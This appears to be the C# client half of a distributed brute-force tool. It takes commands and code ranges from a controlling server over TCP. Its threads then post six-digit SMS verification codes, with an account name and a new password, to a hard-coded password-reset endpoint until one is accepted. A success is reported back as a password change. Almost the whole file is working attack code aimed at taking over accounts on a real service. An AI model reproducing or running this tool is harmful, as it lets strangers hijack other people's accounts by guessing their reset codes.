﻿using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Main
{

    

    public partial class FormClient : Form
    {
        class TaskProcParam
        {
            public string FromCode { get; set; }

            public string ToCode { get; set; }
        }

        private static int RECEIVE_BUFFER_SIZE = 1024 * 16;

        private string serverHost;
        private int serverPort;

        private string fromCode;
        private string toCode;

        private CancellationTokenSource stopToken;
        private CancellationTokenSource pauseToken;


        private List<string> threadCodeList = new List<string>();
        private int threadNum = 1;
        private int codeCount = 0;
        private int finishedNum = 0;
        private object finishedNumLock = new object();
        private bool working = false;
        private object SendCmdLocker = new object();

    


        //连接线程
        private Thread ConnectThread;
        //打印进度线程
        private Thread PrintProcessThread;

        //接受服务端指令数据的线程
        private Thread ReceiveThread;


        private Socket serverSocket;

        public FormClient()
        {
            InitializeComponent();
        }

        private void FormClient_Load(object sender, EventArgs e)
        {

            stopToken = new CancellationTokenSource();
            pauseToken = new CancellationTokenSource();

            INIFile iniFile = new INIFile(Application.StartupPath+@"\Main.ini");
            this.serverHost = iniFile.GetStringValue("server", "host", "127.0.0.1");
            this.serverPort = Int32.Parse(iniFile.GetStringValue("server", "port", "9510"));
            this.Text = this.serverHost + ":" + this.serverPort;


            //启动线程尝试去连接
            ConnectThread = new Thread(ConnectThreadProc);
            ConnectThread.IsBackground = true;
            ConnectThread.Start();

            //PrintProcessThread = new Thread(PrintProcessThreadProc);
            //PrintProcessThread.IsBackground = true;
            //PrintProcessThread.Start();

            
        }

        private void ConnectThreadProc()
        {
            serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            IPAddress ip = IPAddress.Parse(this.serverHost);
            IPEndPoint ipe = new IPEndPoint(ip, this.serverPort);
            while(true)
            {
                Log(string.Format("正在连接{0}:{1}...", serverHost, serverPort));
                try
                {
                    serverSocket.Connect(ipe);
                }
                catch (Exception ex)
                {
                    Log("连接失败:" + ex.Message);
                    Thread.Sleep(3000);
                    continue;
                }
                Log("连接成功");
                this.Invoke(new Action(() => {
                    this.labelConnectStatus.Text = "已连接";
                }));
                break;
            }
            

            ReceiveThread = new Thread(ReceiveThreadProc);
            ReceiveThread.IsBackground = true;
            ReceiveThread.Start();
        }

        private void PrintProcessThreadProc()
        {

        }

        private void ReceiveThreadProc()
        {
            while(true)
            {
                Thread.Sleep(500);
                
                /*if(serverSocket.Available == 0)
                {
                    continue;
                }*/

                byte[] buffer = new byte[RECEIVE_BUFFER_SIZE];
                int len = 0;
                try
                {
                    len = serverSocket.Receive(buffer);
                }
                catch (Exception)
                {
                    Log("服务器关闭了任务暂停");
                    this.Invoke(new Action(() => { labelConnectStatus.Text = "未连接"; }));
                    
                    if(!pauseToken.IsCancellationRequested)
                    {
                        pauseToken.Cancel();
                    }


                    serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    IPAddress ip = IPAddress.Parse(this.serverHost);
                    IPEndPoint ipe = new IPEndPoint(ip, this.serverPort);

                    while (true)
                    {
                        Log(string.Format("正在连接{0}:{1}...", serverHost, serverPort));
                        try
                        {
                            serverSocket.Connect(ipe);
                        }
                        catch (Exception ex)
                        {
                            Log("连接失败:" + ex.Message);
                            Thread.Sleep(3000);
                            continue;
                        }
                        Log("连接成功");
                        this.Invoke(new Action(() => {
                            this.labelConnectStatus.Text = "已连接";
                        }));

                        pauseToken = new CancellationTokenSource();

                        break;
                    }

                    return;
                }
                
                
                if(len > 0)
                {
                    string receiveData = Encoding.Default.GetString(buffer).TrimEnd('\0');
                    Log("收到服务端数据:" + receiveData);
                    string[] data = receiveData.Split('|');
                    string cmd = data[0];
                    if(cmd == "FENPEI")
                    {
                        //分配任务
                        fromCode = data[1];
                        toCode = data[2];

                        codeCount = Int32.Parse(toCode) - Int32.Parse(fromCode) + 1;
                        this.Invoke(new Action(() => { labCodeCount.Text = codeCount.ToString(); }));
                        Log("设置任务成功 "+fromCode+"-"+toCode +" 数量:"+ codeCount);

                        //根据线程数量分配每个线程自己的任务
                        int start = Int32.Parse(fromCode);
                        int end = Int32.Parse(toCode);

                        int pageSize = codeCount / threadNum;

                        threadCodeList.Clear();
                        for (int i = 0; i < threadNum; i++)
                        {
                            int num1 = start + (i * pageSize);
                            int num2 = (num1 - 1) + pageSize;
                            
                            if((i+1) == threadNum)
                            {
                                if(Int32.Parse(toCode) > num2)
                                {
                                    num2 = Int32.Parse(toCode);
                                }
                            }
                            string threadCode = string.Format("{0}-{1}", num1.ToString().PadLeft(6, '0'), num2.ToString().PadLeft(6, '0'));
                            Log(string.Format("线程{0} {1}", i, threadCode));

                            threadCodeList.Add(threadCode);

                        }

                        //serverSocket.Send(Encoding.Default.GetBytes("OK"));
                    }
                    else if(cmd == "SETTING")
                    {
                        //设置数据
                        if(data.Length != 7)
                        {
                            Log("数据格式异常");
                        }
                        else
                        {
                            this.Invoke(new Action(() =>{
                                labLoginId.Text = data[1];
                                labPassword.Text = CryptUtil.CreateMD5Hash(data[2]).ToLower();
                                labThreadNum.Text = data[3];
                                labParam.Text = data[4] + "|" + data[5];
                                labSpeed.Text = data[6];
                                threadNum = Int32.Parse(labThreadNum.Text);
                            }));
                            
                            Log("设置参数完成");
                        }
                        
                        //serverSocket.Send(Encoding.Default.GetBytes("OK"));
                    }
                    else if(cmd == "START")
                    {
                        //开始扫描
                        StartProc();
                        //serverSocket.Send(Encoding.Default.GetBytes("OK"));
                        
                    }
                    else if(cmd == "STOP")
                    {
                        //停止扫描
                        if(!stopToken.IsCancellationRequested)
                        {
                            stopToken.Cancel();
                        }

                        if(!pauseToken.IsCancellationRequested)
                        {
                            pauseToken.Cancel();
                        }
                        //serverSocket.Send(Encoding.Default.GetBytes("OK"));
                        
                    }
                    else if(cmd == "PAUSE")
                    {
                        //暂停扫描
                        if(!pauseToken.IsCancellationRequested)
                        {
                            pauseToken.Cancel();
                        }
                        //serverSocket.Send(Encoding.Default.GetBytes("OK"));
                        

                    }
                    else if(cmd == "CONTINUE")
                    {
                        //暂停恢复
                        pauseToken = new CancellationTokenSource();
                        //serverSocket.Send(Encoding.Default.GetBytes("OK"));
                        
                    }
                    else if(cmd == "REFRESH")
                    {
                        
                        //serverSocket.Send(Encoding.Default.GetBytes("OK"));
                        
                    }
                }
            }
        }


        private void StartProc()
        {

            if (threadCodeList.Count == 0)
            {
                Log("没有分配任务");
                return;
            }
            /*Thread.Sleep(2000);
            string test = "CLIENT_SUCCESS|1234";
            serverSocket.Send(Encoding.Default.GetBytes(test));
            return;*/

            stopToken = new CancellationTokenSource();
            pauseToken = new CancellationTokenSource();

            

            finishedNum = 0;
            //设置线程池
            threadNum = Int32.Parse(labThreadNum.Text);
            ThreadPool.SetMaxThreads(threadNum, threadNum);
            ThreadPool.SetMinThreads(1, 1);

            

            //启动线程
            for (int i = 0; i < threadNum; i++)
            {
                string[] temp = threadCodeList[i].Split('-');
                string fromCode = temp[0];
                string toCode = temp[1];

                TaskProcParam taskParam = new TaskProcParam();
                taskParam.FromCode = fromCode;
                taskParam.ToCode = toCode;
                ThreadPool.QueueUserWorkItem(new WaitCallback(TaskProc), taskParam);
            }

            working = true;

        }



        /// <summary>
        /// 验证短信验证码的任务代码
        /// </summary>
        /// <param name="o"></param>
        private void TaskProc(object o)
        {
            //Thread.Sleep(1000);
            //string test = "CLIENT_SUCCESS|123456";
            //serverSocket.Send(Encoding.Default.GetBytes(data));
            //SendCmd(test);
            //return;
            TaskProcParam taskParam = (TaskProcParam)o; 
            
            int startNum = Int32.Parse(taskParam.FromCode);
            int endNum = Int32.Parse(taskParam.ToCode);
            int threadId = Thread.CurrentThread.ManagedThreadId;
            int speedNum = Int32.Parse(labSpeed.Text);

            string loginId = this.labLoginId.Text;
            string password = this.labPassword.Text;

            string[] temp = labParam.Text.Split('|');
            string paramT = temp[0];
            string paramID = temp[1];


            bool success = false;
            string currentCode = startNum.ToString().PadLeft(6, '0');
            do
            {
                Thread.Sleep(speedNum);


                if (stopToken.IsCancellationRequested)
                {
                    break;
                }

                bool isStop = false;
                while (pauseToken.IsCancellationRequested)
                {
                    if (stopToken.IsCancellationRequested)
                    {
                        isStop = true;
                        break;
                    }
                    Thread.Sleep(200);
                }
                if (isStop)
                {
                    break;
                }

                

                string savePasswordUrl = string.Format("https://47.112.103.115:9443/savePassword?t={0}&id={1}", paramT, paramID);

                IDictionary<string, string> parameters = new Dictionary<string, string>();
                parameters.Add("validCode", currentCode);
                parameters.Add("loginPass", password);
                parameters.Add("account", loginId);

                string serverResult = string.Empty;
                try
                {
                    HttpWebResponse response = HttpRequest.CreatePostHttpResponse(savePasswordUrl, parameters, Encoding.Default);
                    if (response.StatusCode != HttpStatusCode.OK)
                    {
                        ThreadLog(threadId, string.Format("服务器响应异常，HTTP_CODE:{0} code:{1}" + response.StatusCode.ToString(), currentCode));
                        continue;
                    }

                    using (Stream responseStream = response.GetResponseStream())
                    {
                        using (StreamReader sread = new StreamReader(responseStream))
                        {
                            serverResult = sread.ReadToEnd();
                        }
                    }
                }
                catch (Exception e1)
                {
                    ThreadLog(threadId, string.Format("请求异常:{0} code:{1}", e1.Message, currentCode));
                    continue;
                }


                serverResult = serverResult.Trim();
                if (serverResult == string.Empty)
                {
                    ThreadLog(threadId, string.Format("服务器相应内容空 code:{0}", currentCode));
                    continue;
                }

                //更新已经测试的总数
                /*this.Invoke(new Action(() => {
                    testedNum++;
                    labTestedNum.Text = testedNum.ToString();
                }));*/

                HuanLe.JinDiServerResult resultObj = JsonConvert.DeserializeObject<HuanLe.JinDiServerResult>(serverResult);
                ThreadLog(threadId, string.Format("服务器信息：{0} code:{1}", resultObj.msg, currentCode));

                this.Invoke(new Action(() => {
                    int c = Int32.Parse(this.labCodeCount.Text);
                    c--;
                    if(c < 0)
                    {
                        c = 0;
                    }
                    this.labCodeCount.Text = c.ToString();
                }));

                if (resultObj.isSuccess())
                {
                    stopToken.Cancel();
                    success = true;
                    //holder.Successed(currentCode);
                    ThreadLog(threadId, string.Format("密码修改成功 code:{0}", currentCode));

                    string data = "CLIENT_SUCCESS|"+currentCode;
                    //serverSocket.Send(Encoding.Default.GetBytes(data));
                    SendCmd(data);
                }
                else
                {
                    if (currentCode == toCode)
                    {
                        ThreadLog(threadId, string.Format("{0}-{1} 测试完成，没有发现可用的验证码"));
                        string data = "CLIENT_FINISH";
                        //serverSocket.Send(Encoding.Default.GetBytes(data));
                        SendCmd(data);
                        break;
                    }

                    currentCode = GetNextCode(currentCode);
                }

            } while (!success);

            ThreadLog(threadId, "线程终止");

            this.Invoke(new Action(() =>
            {
                //StopTask(holder);
            }));


            lock(finishedNumLock)
            {
                finishedNum++;
                //找到或者所有线程都结束了
                if (success || finishedNum == threadNum)
                {
                    working = false;
                    finishedNum = 0;

                    if(!stopToken.IsCancellationRequested)
                    {
                        stopToken.Cancel();
                    }

                    if(!pauseToken.IsCancellationRequested)
                    {
                        pauseToken.Cancel();
                    }
                    
                    
                    /*this.Invoke(new Action(() => {
                        DisabledUI(true);

                    }));*/
                }
            }
            

        }

        private string GetNextCode(string currentCode)
        {
            int code = Int32.Parse(currentCode);

            code++;
            /*if (startNumType == 0)
            {
                code++;
            }
            else if (startNumType == 1)
            {
                code--;
            }*/

            currentCode = code.ToString().PadLeft(6, '0');
            return currentCode;
        }

        public void ThreadLog(int threadId, string message)
        {
            this.Log(string.Format("[线程{0}] {1}", threadId, message));
        }

        private void Log(string str)
        {
            this.txtLog.Invoke(new Action(() =>
            {
                if (this.txtLog.Lines.Length > 5000)
                {
                    this.txtLog.Clear();
                }
                DateTime dt = System.DateTime.Now;
                StringBuilder sb = new StringBuilder();
                sb.Append("[");
                sb.Append(dt.ToString("t"));
                sb.Append("]");
                sb.Append(" ");
                sb.Append(str);
                sb.Append("\r\n");
                this.txtLog.AppendText(sb.ToString());
            }));

        }


        private void SendCmd(string data)
        {
            lock (SendCmdLocker)
            {
                data = data + "$";
                serverSocket.Send(Encoding.Default.GetBytes(data));
            }
            
        }
    }
}
